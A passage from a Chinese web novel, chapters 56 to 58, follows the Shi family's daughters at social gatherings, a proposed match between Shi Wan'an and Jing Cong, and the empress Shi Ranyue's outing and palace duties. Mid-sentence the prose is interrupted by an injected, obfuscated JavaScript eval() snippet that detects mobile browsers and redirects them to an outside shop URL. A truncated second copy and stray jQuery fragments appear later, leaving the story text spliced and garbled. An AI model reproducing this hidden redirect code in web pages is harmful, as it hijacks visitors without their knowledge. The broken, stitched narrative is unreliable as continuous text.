看着看着,她转头吩咐嬷嬷们拿些茶水点心过来,又嘱咐随身的丫鬟注意着前堂,嫡母和师家的两位夫人何时谈完话。这般安排完了,便打算自己再坐着发会儿呆,却未曾想师莞安走过来道:“景大姐姐,你自己这么坐着不无聊么?” 景珀有些窘迫地笑了笑:“不无聊......你不必理会我,快去玩吧。” 师莞安却道:“怎会不无聊!我家的马车里有鞠球,这儿场地也够,我将它拿来咱们一起玩罢。”说着,便径自转身往外走去。 景珀阻拦不及,忙叫嬷嬷跟着她过去。自己心下担心,却又不能将余下几人留在此处,不觉攥紧了帕子。景琼却走到她身旁,看了看她的手嗤笑道:“姐姐担心什么。” 景珀不欲理她,咬了咬唇,没有答话。 景琼却不屑道:“她又不会走丢,不会像你那疯了的姨娘一样掉进湖里去。” 棠欢竖着耳朵听了会儿,微微回过头,瞥见景珀虽满面怒气,但好似早已经习惯了这样的冷嘲热讽,并没有太理会。她又看了看景璎,不晓得她是没有听见还是也习以为常了,仍旧在抚摸逗弄着手里的猫。棠欢觉得有些难过,便站起身理了理裙摆,向周围的人说了声:“我去找我姐姐。”便也跑了出去。 莞安本就有帘儿随身跟着,另有两个嬷嬷侍候,她自己也是记路的,这会儿已经拿到了鞠球往回走了,然而才走到前院,便瞧见棠欢满头大汗地跑了过来,到她面前才刹住脚,喘着气道:“姐......姐姐,我们走吧。” “走哪去?你怎么不在花园呆着。”她看了看后面跟着的小池和小塘,道:“六妹妹受委屈了吗?” “没有,没有。”棠欢率先摆手,拉着莞安道:“景家的那个二姐姐,刚刚说景大姐姐的姨娘是疯了,掉进水里淹死的。” “她与你说?” “她与景大姐姐说的,被我听见了。我不想和她们一起呆着,我们去找伯母和娘亲吧?” 师莞安沉吟了片刻,如今师婷欢和师景安两个素日拿主意的都不在,她也没有什么别的办法,又恐怕长辈们尚未谈完,四周打量了打量,便道:“这样吧,我们就在这廊下等一会儿,此处一会儿娘亲她们出来便能看见,到时候我们便说是来拿这鞠球迷路了就是了。” 两人并排坐在陌生的廊下,各自拄着脸,一时都有些无聊,又不敢有什么随便的举动,只怕叫外人看见了遭到非议,只好枯坐着发呆。 这厢,侧面厢房的门却突然开了,走出来几个十几岁的公子,后面跟着一位教书先生模样的五十岁上下的学士。 莞安这才惊觉前院的不妥,但也别无他法,只好立刻站起来,将棠欢拉到身后。帘儿和小池她们也站到了二人身前。 所幸那些人离得远,瞧着似乎是景家学塾的样子。那几个公子向先生似是请教了些什么,很快又行过礼后,那先生与另外几个人便从旁边的甬道径直离开了。然而剩下的几人却向院中走过来,为首的很快发现了她们,远远行了一礼,又走近了两步,方开口问道:“姑娘可是师家人?” “正是。”莞安带着棠欢回了个礼,问道:“公子是景家人?” “在下景琮。” “原是景家大公子。” 景琮身后另外几人也一一行了礼。年岁瞧着与景琮差不多的是景家的二公子景玹,余下是景家庶出的两个公子,都才六七岁的样子。 景琮随后便道:“姑娘们若是在等人,不妨到前堂偏厅。”说着便叫随从喊来一个嬷嬷,叫着嬷嬷带着她们自去偏厅,自己带着弟弟们又行了一礼,便告辞先离开了。 莞安立在原地,看着人影都转过身去了,才兀自立起脚尖眺望了一会子,喃喃道:“原来他就是景琮。” 棠欢推着她道:“三姐姐,三姐姐,快走啦。”又跟在她身后像个小尾巴似的捂嘴偷笑。 “你在笑什么啊。”莞安终于发现了,也坐到了偏厅里,双手捧着茶杯挡住半张脸。 “没有啊,我就是——想到了大姐姐和大姐夫。” 莞安抿了抿嘴,“别在外面随便说,大姐姐还没出嫁呢。”不过婷欢和燕寂的事儿,她也爱听——全家上下有哪个妹妹没扒着大哥问东问西呢。 棠欢也不再说了,只是一味看着她笑,虽没有笑出声,笑意却是铺了满脸,最后脸都笑红了,被莞安塞了块糕点在嘴里,又觉得噎得慌,连忙喝了大半杯茶水,看见茶杯上勾线的狸奴图案,又想到方才那只毛茸茸的小玩意儿,心下觉得可惜,想了一会儿,便拽着莞安的袖子道:“三姐姐,等回家了,我们也养只狸奴吧?” 56.第 56 章 从景家回去,不过三日后,便是安南郡主的寿辰。 一早儿穿衣打扮好,师棠欢还抱着她的兔子恋恋不舍不肯动身。 这兔子是端木萌听到她想养狸奴的请求,自己却“恐怕那玩意儿养不好会挠人”,便教惠嫂从庄子里弄了两只雪白雪白的兔子来给师棠欢养。 “六妹妹,你要是再不动身,当心大哥等急了骂你。”因着是去为安南郡主贺寿,不只莞安和棠欢,连同幼芷、幼桐并上五个哥儿也是一并跟着去的。而师焕虽然平时都是一副温良的好脾气的模样,也就只有家中这些弟妹晓得长兄的威仪。 这话果真有用,棠欢立马放下兔子,起身跟在莞安身后往门口走。 端木萌在前面扭头看了看,回过头去忍俊不禁,对端木婉笑道:“真是好在有焕哥儿呢。” 端木婉也道:“俗话说长兄如父,这话至少在咱们家里不假。姑娘们还好些,便说那几个哥儿,如今越发像脱缰的野马似的,若没有焕哥儿在,只靠我们两个是万万管束不住的。” 端木萌却哼声道:“只是我没真生气罢了,他们便敢嬉皮笑脸。赶明儿惹急了把家法拿来,别说五个,五十个也管得。” 二人说笑着穿过一扇垂花门,却迎面碰上了陈明月和她的丫鬟。 陈明月自入府后,素日里都不太常出门,只是静悄悄地在自己房中,因而算起来这倒是端木婉第二次碰见她的面,一时竟未反应过来,只是止住了脚。 见着二人,陈明月也似受了惊,瑟缩着看了眼端木萌,又连忙行了礼,嗫嚅着似乎解释了两句什么,便只低下头去噤了声。 端木萌打量了她一眼,如今她怀胎已经快五个月,腹部的隆起已经很明显了。端木萌心中暗叹,嘴上只道:“不必跟个鹌鹑似的。多走走,生产时会少受些苦。” 说罢,也不再理会她,挽着端木婉绕过她向外走去。 端木婉松了一口气,走远了才道:“我还怕你会觉得晦气。” “晦气什么。要晦气,也是碰上师霖晦气。”端木萌冷哼。 端木婉倒甚少听见端木萌这般直呼师霖的大名,乍一听便觉得有些好笑。 安南郡主是穆宗的侄女,已逝的老安庆王的独女。也因此虽是郡主的爵位,却享着亲王的食邑和年例,更是由穆宗皇帝亲自做媒赐婚,将她嫁给了当时右相的长子、武宗朝的户部尚书贺源。 她膝下二子分别娶了晏梅兮的姑母和徐聆雨祖母的堂妹,另有一女便是如今归县县令汪檀运的母亲。因而即便没有郡主这一层身份,她的血脉姻亲也几乎关系到了江淮各大世族。是以,此次赴宴并非寻常贺寿,更似是众人借这个由头各谋其谋。 莞安几人这些年常居京城,对众人都不大熟悉,依礼见过安南郡主后,女眷便相携去了后院。端木婉和端木萌与很快与几个年纪相仿的夫人坐下聊了起来,只教莞安带着妹妹们自去玩耍解闷。莞安无奈,原想就近寻个地方坐着歇歇,却还有近两个时辰正宴才开始,只好寻景家姐妹作伴到园中赏着新开的桃花。 四周眺望一番,三五成群的人里,还有原先在逢州任通判、如今已是楚州太守的迟平义的两个幼女,还有昌留郡王府的世子夫人梁婳和新得了县主爵位的徐酌雨,另还有几个是某些个公主、郡主家的女儿,都只是眼熟罢了。 可惜这种赏着花喝着茶说着话的场面适合的那二位如今愉愉快快在家中讨论着新绣样,倒叫她不得不来充着场面站在这儿做个师家的“名花”了。 景珀瞧着莞安笑道:“师三妹妹,今日怎么这般怕生的样子。” 莞安懒懒地道:“都不认识,也没什么必要认识。这般在这儿看这些花,还不如去跑马。” 这般一想,莞安突然眼睛一亮,也不管自己身上新裁的极精细的裙子了,拉着三个妹妹就去找了端木婉和端木萌。 端木婉听了她耳语,无奈与端木萌对视了一眼,道:“罢了,原也不是男女大防的事,只是主家这样安排了......你便去换了骑装,去和他们打马球吧。”又对三个小的道:“你们马还骑不利索,便不要逞强了,那边倒有投壶,你们也把袖子束起来去玩罢。” 幼芷和幼桐见那投壶处没什么人,如蒙大赦,忙去叫嬷嬷帮忙束袖。棠欢倒不服气,也非要上马试试。 “上次二哥带着我跑马,绕着那围场跑了三圈,我都没掉下来!”棠欢掐腰不忿。 端木萌忍不住扶额,叹道:“那怎么能证明是你能骑?分明是你二哥骑得好......你若是不想玩投壶,便去打捶丸罢。” 说着又觉得有些不妥,四下打量之际,景璎不知道从哪里跳出来,道:“我也想打捶丸!” 晏梅兮从旁笑道:“你还没那球杖高,怎么打?” 僵持之际,却是原先在一旁与徐酌雨闲谈的一个十五六岁模样的姑娘走了出来,行礼道:“长公主、郡主、晏夫人,不如允我带姑娘们去斗草罢。” 端木萌看向晏梅兮,晏梅兮笑道:“这位是新上任的诸州太守白大人的妻妹,名叫伯沈宁。” “可是复景元年的状元白束道白大人?” “正是。白大人前三年在江州任通判,调至诸州也是这两个月的事了。” 端木萌便向伯沈宁点了点头,微笑道:“那便劳烦伯姑娘了。”又转头嘱咐棠欢道:“你与璎妹妹且跟着这位姐姐去斗草罢,莫要闹人。” 一旁的徐酌雨并没有上前来,也没有再去看伯沈宁,眼波清泠,原地站了一会儿,便径自转身走了。端木婉冷眼观察着,暗忖徐氏这姐妹二人一个比一个性子古怪。 记得原先在逢州见时,瞧着这小的还正常些,只是有些怯懦,过了这些年却又怪癖了。 待伯沈宁等走远了,端木萌抬手挡在眉间眺望了一眼,才道:“若我没记错,伯氏是商贾出身罢?” “正是。这伯氏姐妹的父兄皆是许州的商人,原是这二年才听说培养族中年轻的子弟入学考科的。” 端木婉笑叹:“瞧着这伯氏的品貌德行,想来那位伯夫人也必是个不错的。竟叫当年的状元郎接连推拒了闽中郡王妃的妹妹和安大人的孙女。” 晏梅兮却摇头道:“复景元年这些举子的夫人中,伯氏可算不上出众。那第五名的沈玄期、如今的河郡太守沈大人的夫人魏氏,才是一等一的品貌,连神仙妃子都不输的。” 端木萌看了端木婉一眼,笑道:“巧了,这魏氏我倒也晓得,原是平容贵妃的表侄女,母家和岳氏也有亲......说来她也算我一个远房表妹呢。” 端木婉点了点头,道:“原先在京城时似乎我也见过几面。”又用扇柄指了指不远处廊下坐着的两位年轻夫人,道:“瞧那个是不是魏氏?坐在她旁边的想来是落大人的夫人齐氏罢?” “是了。”晏梅兮顺着她指的方向看去,“不过齐夫人倒不常参加这些宴饮,郡主竟能识得她?” 端木婉笑道:“那齐氏是宛城人,她的祖母是武宗皇帝的姑母宁远大长公主。宁远大长公主的生母和我祖父的生母都出自薛城奚氏,因而我未出阁时,齐家便与我们有些来往。说起来,她瞧着与少时倒变化不大,只是今日这桃色的衣裳不衬她的肤色,与这满园的桃花也撞色了,不然以她的相貌,倒也能和魏氏比较一二呢。” 端木萌也笑道:“说起来这衣裳,我方才还想莞姐儿会不会是因为也穿了桃红色的衣裳才不太自在。你瞧着,她今日那骑装也是桃红的,可在马场上就好看多了。” 端木婉和晏梅兮也一并看去,只见师莞安一袭桃红衣衫,头发全梳成一个简单的盘髻,只插了一柄镶着红玛瑙的金钗,骑在一匹毛色鲜亮的黑马背上,一手扶着缰绳,另一手挥着球杖,活像个女将军,实在是英姿飒爽至极,人也鲜活了不少。 场上除了她之外只有两三个女子,余下的连同候场的都是清一水儿的男子,这会儿却都像看呆了似的。 晏梅兮瞧见场上正与师莞安交手的竟是景琮,景玹倒没与哥哥组队,而是在场下当着观众,忍不住觉得好笑。 端木婉笑道:“琮公子这一手马球打得真是好。” 端木萌也笑道:“是呀,在京城可没有几个人能与莞姐儿这样交手。” 晏梅兮闻言,心念一动,当下却未多言。 坤宁殿后殿的回廊前,师冉月与烟水相对而坐,一旁案上的茶壶兀自冒着气泡,壶盖跳跃不休,与壶身碰撞着,像是刚会飞的雏鸟起飞时碰乱屋顶碎瓦的声响。 不一会儿,水开了。 师冉月沉默地看着那蒸汽冒了一会儿,才慢悠悠拿起一旁的叠好的棉帕,将茶壶拿了下来,分别为烟水和自己的茶碗中倒上沸水。 碗中原来沉底的去年晒干的花瓣瞬间瑟缩了一下,又很快在热水中有了舒展的态势。 师冉月盯着那花儿看了一会儿,又看向园中那棵老桃树,即使没有风,粉红的花瓣依旧簇簇落下,积攒满地落英。 “我少时也不晓得,春花亦可有寂寥之态。” 烟水没有转首,只道:“‘辛夷花尽杏花飞’,花落也是四季轮转的一部分罢了。” 师冉月看着她,笑了一声,道:“真想不到你有一天能说出这样的话。”说着,慢慢转着手中的茶碗,忽而又叹道:“‘老去逢春如病酒,唯有,茶瓯香篆小帘栊。’”一边又端起茶碗,向烟水微微示意,轻轻啜饮了一口,品了品,又道:“这回这花儿的味道倒比去年好,比起秋天那桂花也不差......我曾经在卿州时还见过那里的人守着夜间昙花盛开时,将花瓣摘下来裹上蛋液,再扔进滚油中炸着吃的,只是彼时替花伤心,竟不敢尝,倒是遗憾。” 烟水嘴角浮起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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师霖来回看了看,确定没有什么暗语,也是摸不清头脑。 “若只是要麻糬,那倒好办,只教人快马送到京城就是了。宫中如今只孙才人一人有孕,余下便是江才人受宠些,的确出不了什么事。你方才一说宫中来信,我倒以为会是南巡一事。” “我以为南巡不过是戏言呢。虽有后妃南巡的旧例,可那都是陪同皇帝一起。若是朝中事忙或是天子抱病,按例也该是太子南巡。” “南不南巡的,我倒觉得陛下压根就不在乎。”师霖嗤笑道,“若要南巡,必是兴师动众、劳民伤财,去载才兴师北伐,岁末收成又不太好,国库里压根拿不出那么些银两大肆兴办此事。如果真要皇后南巡,说不准得是咱们家出钱倒贴国库。” 端木萌撇撇嘴,“咱家的钱库里的钱,有多少本来应该进国库,你清楚。” 师霖却不以为意,“‘本来’是太祖皇帝开国时制定的律法,还是这官场上的‘常理’?” 端木萌无心与他争执这些,只道:“反正麻糬的事你着人办好就是了。旁的也不必与我在这儿啰嗦,你倒不如去厢房瞧瞧陈姨娘——她遇上你真是倒了八辈子的霉。” 提及此事,师霖立刻理亏不语,再开口时也有些讪讪:“夫人连晚饭都不肯施舍我一顿了么?” “没有。今儿玘哥儿随你回来,镜妤难得开一次灶,我和棠姐儿去她那儿吃。” 提起孩子们,师霖像是终于找到了可说的话题,忙道:“玘哥儿这回随我去沉州,进益不少。他头脑灵活,性子又沉稳,是个做生意的好料子。” “别——你可别提前培养他做生意,我们还觉得玘哥儿是咱家这五个哥儿里除了焕哥儿以外唯一一个能读好书的呢。迟哥儿和琦哥儿脑子是不太行,只能习武了。言哥儿读书习武都是资质平平,我瞧他近来一门心思都在那把琵琶上,不过他心思倒是细腻......再者说,头脑灵活、性子沉稳,这不也是为官的好材料么?总不能来日偌大一个家只靠焕哥儿一个在官场上支持罢?” “官场......我如今倒觉得,退下来也罢。咱家这些基业,只靠在逢州和沉州这些生意,说不定能比为官要好。” 端木萌愣了愣,她分明看见师霖眼中有什么东西灭了,像是飞在半空骤然坠亡的流萤。 她缓了缓,还是开口道:“士农工商,没有官场上的门路,生意如何做?如今这些关系也都是暂时的。” 师霖闷声道:“再说罢。”又很快道:“二嫂那院子地方小,我叫人弄了些鹿肉,不如一齐到前庭吃罢。如今天也暖和了,桌子就摆到廊下。” 端木萌妥协道:“也罢。你且叫人去准备着罢,我去找镜妤。” 57.第 57 章 今年殿试放榜晚些,直拖到了清明节前才放了榜。不过有了复景元年时的先例,今年放榜并没有显得十分热闹,加上一甲前几名的举子样貌远远比不上三年前的那几个高山景行,连探花也堪堪是过得去而已。 “复景元年的时候今上特意下旨拔擢遴选年轻人入仕,才有了白状元和吴探花那样的啊。” “是啊是啊,今年这些最年轻的一个都三十六七岁了。” “不过今年这头几名看上去倒是老成了些,也许比年轻人好啊。” 坊间对此议论纷纷,端木玄自然也有所耳闻。比起市井间的闲谈,更多适龄的、准备参加下一次春闱之人更迫切关心天子的心意。天子垂青年轻有为者还是稳重老成者,几乎像一把铡刀悬在他们的头上,教人悬着一颗心不敢放下。 “焕哥儿不必顾虑这些。”端木萌不在乎道,“即便焕哥儿落榜了又能如何,他想再考,便再考几次都无所谓。他要是想直接为官,也不过是一封奏表的事。” 何况即便没有师霖和端木萌,单凭着师冉月,家中的子侄便都能荫官。因而当年师焕执意凭自己的本事入太学考科举时,端木萌便觉得没什么必要,萧晨却很是赞同,便也叫他这么些年寒窗苦读了下来。 师霖对子侄荫官或科举一事一向觉得顺水推舟,每逢其余人讨论此事时也只是不置可否。 不过连着几日,他都在灯下研究着官成澈送来的名单。 科举不可怕,可怕的是科举送进朝廷的是什么人。 才俊也罢,蛀虫也罢,关键的是他的门派阵营。 从乡野间初入庙堂之人总觉得自己这颗沧海遗珠终于被发掘,大多一心想着于宦海沉浮中成就一番事业,以全了圣人先师“穷则独善其身,达则兼济天下”的教导。然而大多不过几载就落入自己曾憎恶的“俗套”,困在自己批判过的牢笼。 师霖这般想着,心中倒有些惋惜之意,但也不过一瞬。 坚守理想固然值得敬佩,可追名逐利难道就该被人唾弃吗? 端午过后,端木玄即下诏宣布皇后将至各地微服私访。 朝野登时议论纷纷,礼部请示相关事宜也收不到答复,其余人明里暗里刺探消息也都没有结果。于是各地官员一时都有些提心吊胆,更不敢有什么大动作,只怕树大招风惹了皇后娘娘“垂青”。 五月二十七日,正是师冉月三十岁生辰当日,她一早推拒了礼部准备大贺其生辰的种种宴饮排场,早起吃了一碗长寿面,便穿着一身水绿色粗绸衣裳,做寻常妇人装扮,拿着令牌带着音儿便从皇宫西门庆德门溜出了宫。 成和早备了一辆小巧的马车和两个护卫在宫门外等着。马车是青色粗布做的帷帘,还是音儿嘱咐成和特意在自家寻得的浆洗过几次的旧布,马也是成和在师家马厩里挑的两匹先前被师迟和师琦淘汰掉的老马。 总而言之,师冉月完全按着自己想象中六七品官宦或是稍有些富余的商贾人家的家眷的行头布置着,连这身衣裳都是换过一遍的,只因原先选的那身被宫中的老嬷嬷说是“不知人间疾苦”。 而她此行原也不是为了微服私访,只是到少时自己去过的街巷和集市转一转,再到城外江边散散步、透透气。 马车驶向街巷。 一路路过曾经熟悉的酒楼茶坊,还有原先师家搭过粥棚的地方,除去人不同,余下似乎并没有什么变化,至多是有些瞧着是翻新了,而有些老旧着。 音儿掀着车帘望去,倒有些感慨道:“这些地方生意竟还这样好。” 师冉月笑道:“背后的人还在朝堂上稳稳坐着呢,怎能不好。” 音儿无言以对,抿嘴半晌,道:“姑娘,你现在张口闭口全都是这些前朝后宫弯弯绕绕的了。” 师冉月愣了愣:“我原先不也是如此吗?” “......至少姑娘十岁之前不是这样的。”音儿本想说她出嫁之前,可又恍然想起十五六岁时的师冉月似乎也是这般,只是不似现在似乎袖手旁观又运筹帷幄的样子,而是一直蒙着淡淡的哀伤。 彼时水杏的事刚出了,音儿还没有遇见成和,还在一旁期许着自己未来的夫婿,又想着如果嫁人就要离开姑娘,那还不如不嫁人。她自小的愿望就是像母亲惠嫂陪在唐夫人身边一样,陪在师冉月左右,看着她成婚、当家、生儿育女,自己成为她最信任最得力的助手。 水杏所存的二心她彼时并没有看透,而水杏对所谓外面的“自由”的向往更叫她摸不清。一来她是师家的家生子,父母亲人都在师家,依附师家过活,她实在想象不到脱离师家的日子。 另立门户,自力更生,会比现在好吗? 幻梦般的记忆如迷雾般侵袭了两人的脑海,一时都各自沉默不语起来。直到成和清亮的声音穿透车帘:“姑娘,到江边了。” 苍云江。 师冉月心头颤了颤。 当年回京时为着筹备音儿的婚事,不想惹人眼目,于是自西边直接进了西城门,并未经过苍云江,而这四年她又从未出过宫城。 算起来,她已经近十五年没有再见过这条江了。 旧时师家有一处穆宗时因老太公四次治水有功赐的庄子,因为在有一半在南山的山坡上,便作养马之用。苍云江就横亘在这处庄子与京城内城之中。 师冉月少时常常与几个兄长瞒着父母骑马涉江,江水湍急,丰水期时还不到中央,江水就能漫过马的肚子。饶是师冉月再大胆,也只有一次敢在丰水期时冒险骑马过江,虽然没掉进江里,但她精心定制的骑装却湿了大半。怕遇见熟人,她和师霖、师骁只能在城门口找了家不起眼的小摊,点了些热茶和点心等衣服晾干才好回家。 后来还没到抄家的时候,师道旷就为着避祸,将这处庄子献还皇家以表忠心。因而她的那些侄儿侄女都没有这般经历,来这江边顶多也是寻些蚂蚱,或是钓鱼取乐罢了。 思及此,她不免又想到师骁,心中落下些尘霾。 从兄嫂的信中,师骁的伤口虽然已经愈合,但似乎毒素已然漫延至肺腑,人时而精神时而晕厥,有时一阵猛嗑,那帕子上分明是血。 她每半月就要向逢州派一次御医,可连如今都中医术最高明的邹太医也只说只能勉强续命,而无法使人好转...... “姑娘,咱们要过江吗?” “先沿江走走罢。”眼见着天越发阴下来,似乎是要下雨了,只感觉浑身闷热闷热的。这会儿吹着江风倒是舒服许多。 师冉月和音儿便沿着江一前一后慢悠悠地走着,成和与那两个护卫远远跟在后面。 踏着草一脚深一脚浅的,走了一会儿,师冉月便觉得腿脚有些疲惫,抬头四处看了看,只看到江对面不远处有座道观,心念一动:“那个就是江浪观?” 音儿看了看,道:“是了,好久之前我与我娘到那边庄子里帮夫人办事,还到那里歇过脚。” 师冉月叹了口气:“若是那渡执道长所言非虚,七姐儿现在应该就养在那里。可惜按三嫂的说法,有血缘的都不能见,也不晓得是单指父母兄弟,还是我这个做姑姑的也见不得。罢了罢了,算起来也快七年了,总不好这时候去坏了机缘。” 音儿道:“姑娘不是不信那些?” “他们信,又不是我的亲生女儿,我信不信的又有什么用。何况彼时我也不在京城,连劝一劝的机会都没有。可怜就隔了这么一条江、一个城墙,血亲骨肉就生生分离这么多年......” 音儿沉默了一会儿,道:“兴许这样也好......不然那位渡执道长说的预言一旦传开,彼时就算侯爷和长公主也不信,百姓也会信,还有皇室宗族里的那些人更会信,到时候还不知道七姑娘的命运该会如何呢。” 尤其是师冉月封后之后,关于从前那些各式各样的预言都跟着更真了几分。京中那些闲人更是尤其喜欢钻研这些东西,一旦发现了某种巧合,就要津津乐道地大谈特谈上好久,说得也是神乎其神,哄得没学问没主意的人也跟着信服不已。 师冉月点了点头,却又嗤笑道:“也不知道他们怎么想的,真信了一个女子就能灭国。女子不能科举,不能入朝为官,然而国运有了些什么变化,尤其是不好的,便全是某个女子惹得祸了。原先这样的故事还总是编到后宫中人的头上,如今一个才出生的黄口小儿竟也可以了,真是好笑。” 她兀自站了一会儿,眼睛始终看着那道观的方向,像是希冀着什么。半晌,只瞧见两个似是十几二十岁身量的一男一女从观中走出来取晒在外头竹竿上的衣裳,便再没有其他人,更没有六七岁样子的小姑娘。 她这才低下头,继续往前走着,心中乱糟糟想了好些,也没管脚下走到了哪。 天色越发暗了,雨幕似乎已经落到了头顶。江浪观后身不远处竹林后的一处小村落跑出来几个孩子,脚步飞快而凌乱,手中拿着些篮子什么的,口中还胡乱喊着什么。因着江风一吹,师冉月一个字也没听清,却因此醒了神,四下看去,道:“竟走了这么远,我们便从东门回城中吧。” 说罢,便拉着音儿转身上了马车。 雨很快落下来,成和披上蓑衣,将马车赶的飞快,似乎转眼间便到了宫城下。 大雨倾盆,街上几乎没有行人。只有守在宫门前的守卫已经列好了仪仗,低着头迎候师冉月回宫。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233413|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 雨水冲刷下,青石路面变得几近漆黑,斑驳的印痕新旧交错,像是古老的化石,将时间的印记狠狠砸进了地下,永久封存。 音儿撑开石青色的伞。 师冉月钻进雨幕中。 逢州正是梅雨季,连着几日都没见太阳,因着恐怕雨水弄脏鞋袜,师莞安一连几日都没能出门,在家闲的快要能掐出水来。 正逢庄子值守轮换,夏粮也渐次收了上来,端木萌和端木婉最近忙前忙后,根本腾不出空来关心儿女,因此师莞安听到帘儿说二夫人和三夫人一齐在前堂等她,惊得合不拢嘴。 “有什么事非要在前堂说?” “奴婢也不晓得。姑娘还是快过去罢,免得夫人们等得着急了。”帘儿说着,便已经半身踏出门外把伞撑好了。 师莞安瞧着她似乎是真不知情,隔壁婷欢和景安也没什么动静,心下更加惴惴,就像把棠欢的兔子装进了胃里。她盘算着这些天没在外面乱说话更没仗势欺人,打马球也是好些天前的事儿了,虽有些张扬,但她又没与外男组队,更没输没丢份儿,大约也不值得被追究...... 这般胡思乱想着,连新做的藕荷色绣鞋被雨水溅上了一点污泥都没有注意到,再抬眼时已经到了正堂门前。 帘儿站在檐下收伞,笑眯眯道:“姑娘,快进去罢。” 师莞安打了个寒颤。 进了正堂见了礼,她只觉得端木婉和端木萌神情迷惑,加上二人也没发话叫她也坐下,师莞安忍不住又打了个寒颤。 端木婉终于开口,却一脸严肃,道:“外面下着雨,你便只穿这一件裙子过来了?”继而又抿了抿嘴,笑道:“罢了,我们也不与你卖关子了。这是晏夫人的信,你自己瞧瞧罢。” “晏夫人的信?”师莞安疑惑着上前接过信,然而尚未看几个字,双颊就飞满了红晕。她有些迷糊地抬头看向端木婉和端木萌,道:“这,这怎么好......” 端木萌满眼揶揄,笑道:“莞姐儿,你只管说你喜不喜欢景家那小子就是了。晏夫人这般写信来,本就是看重你自己的意思。若是你不喜欢他,我们便回绝了,这事从头至尾只有咱们几个晓得,日后双方该怎么议亲就怎么议亲,彼此也仍只当世交就是了。” 莞安低头,想起景琮,端的是个好风姿,好样貌,马球打得不如她,但也不错;那日下了场,他说他蹴鞠也不错,她的蹴鞠原是四叔和二哥带着她玩了两回,只是略得章法,若是有机会...... “莞儿?莞儿?” 骤然听见母亲唤自己的名字,师莞安才回过神来,忙道:“我,我只是和景大公子打过一次马球,也不熟......我做不了主,但凭长辈们的意思就是了。” 端木婉哪里不明白自己亲生女儿的意思,却也依着她不点破:“那便再过些日子好了,此事总归也不急,咱们一时半会儿的,也离不开逢州,你有的是时间慢慢考量呢。” “景大公子?这倒是个不错的选择。”师婷欢道。莞安只小她们一岁多,婚事迟迟未定,她本以为父母和二伯母是有意在今年的举子中择一优秀者为婿,可今年的举子又实在有些“歪瓜裂枣”......她前两天还琢磨着莞安的姻缘会否因此又生波折,没想到这缘分竟近在眼前。 “哎呀,大姐姐,怎么就选择不选择的,晏夫人也只是一说......”莞安半张脸埋在枕头里,说话声儿也不太清晰,两个姐姐却生生听出些与她平日里直来直去的语气的不同来。 师景安道:“说真的,昭昭,景家与我们是世交,知根知底,更与我们利益相连,景伯父这些年一直外任,说白了也是因为叔父的缘故。景家家境殷实,江淮之地无人敢小觑。晏夫人又是个慈爱坦诚的长辈,必不会为难你。若是你心中没有他人,如今看来,嫁给景琮的确是个不错的选择。” 昭昭是旧时家塾里先生从《楚辞》里给师莞安取的字,其余几个姐妹也都有,婷欢是兰藉,景安是齐光,幼芷是荷屋,幼桐是杜衡,棠欢是安歌。 起初师霖的意思是,还是应当像吟月和冉月那般依着族谱来起字,所以这些便只当闹着玩了,只有姐妹几个私下互相叫。其中尤其是“昭昭”,因为顺口又好听,婷欢和景安两个便尤其喜欢这般唤莞安。 “我没想这般多,说白了,家世不妥当的人,我一般也见不到。”莞安闷闷地道,过了一会儿又把自己从枕头中解放出来,道:“我只是觉得,他长得还挺好看的。但是他那个弟弟,景家的二公子,瞧着比他还要俊美些呢。” “我记得景二公子与你同岁,你要是喜欢,嫁他也无妨——” “哎呀,大姐姐!” 58.第 58 章 乐康元年初秋,枢密都承制、散骑常侍师骁病逝逢州。 今上与皇后痛心非常,罢朝一日,追封其为兵部尚书,以太尉礼葬。 师冉月坐在凤宁阁内,手扶着鬓角闭目养神。 隔着一面屏风的暖阁内灯火凌乱,汗水和血水的气味胡乱混合在一起,当中夹杂着稳婆已经干哑的呼喊声和几个御医焦急的探讨声,还有孙姝妙显然也竭力抑制过却已经完全止不住而又疲软的哀叫。 难产,又是难产。 从小到大,她的嫂子们,她的姐姐,还有她自己,这么些人这么多次生产,就没有几次是顺顺利利的。这世上的女子生下来就被教导相夫教子,到了年纪就早早嫁出去,为了些千奇百怪的缘由不断的生产、生产、又生产,直到耗尽了性命——甚至在这产床上耗尽性命! 师冉月夹着这怨念想来想去,越想越不明白这当中是什么道理。睁开眼喝了半杯茶下肚,又命人叫了一个稳婆出来:“本宫坐在这儿也已经三个时辰了,孙才人这胎究竟是怎么回事?” “回娘娘的话,孙才人肚子里这孩子本就有些横过来了,如今好容易能看见头顶了,却又有些胎大难产,这才迟迟没有进展——不过,不过应当也快了,娘娘放心。” 师冉月烦躁地挥了挥手,又嘱咐凤宁阁的人再熬些参汤备着,接着便问端木玄现在何处。 “陛下尚未下朝。奴婢已经派人到前面去传话给岑公公了,只要陛下一下朝便禀报孙才人生产一事。”木莲道。 孙姝妙这胎本是凌晨时发作,起初并未想着难产,便只照常处置,端木玄昨夜未宿在后宫,自然不晓得,宫人也没有去惊动。直到稳婆半晌未能将胎位顺过来,眼见着孙姝妙已经有些力竭,这才派人将师冉月请了过来。 这会儿午时已过,端木玄竟然还未下朝,倒叫师冉月有些好奇起来,也跟着来了些精神:“是什么事说了这么久?春桃,一会儿你去问一问烟水或者近黛。” “是。” 音儿进来道:“娘娘,我叫咱们的小厨房做了碗素馅的白玉云吞面送了来,您好歹吃两口罢。” 师冉月瞧了眼屏风后的人影,叹道:“罢了,且走吧,既然已经能看到头了,想来也不会有什么大事。便是不吃饭,我也得回去看看汐儿了。”又道:“木莲,你去把徐贤妃请过来。这是她的人,便叫她来看顾罢。” 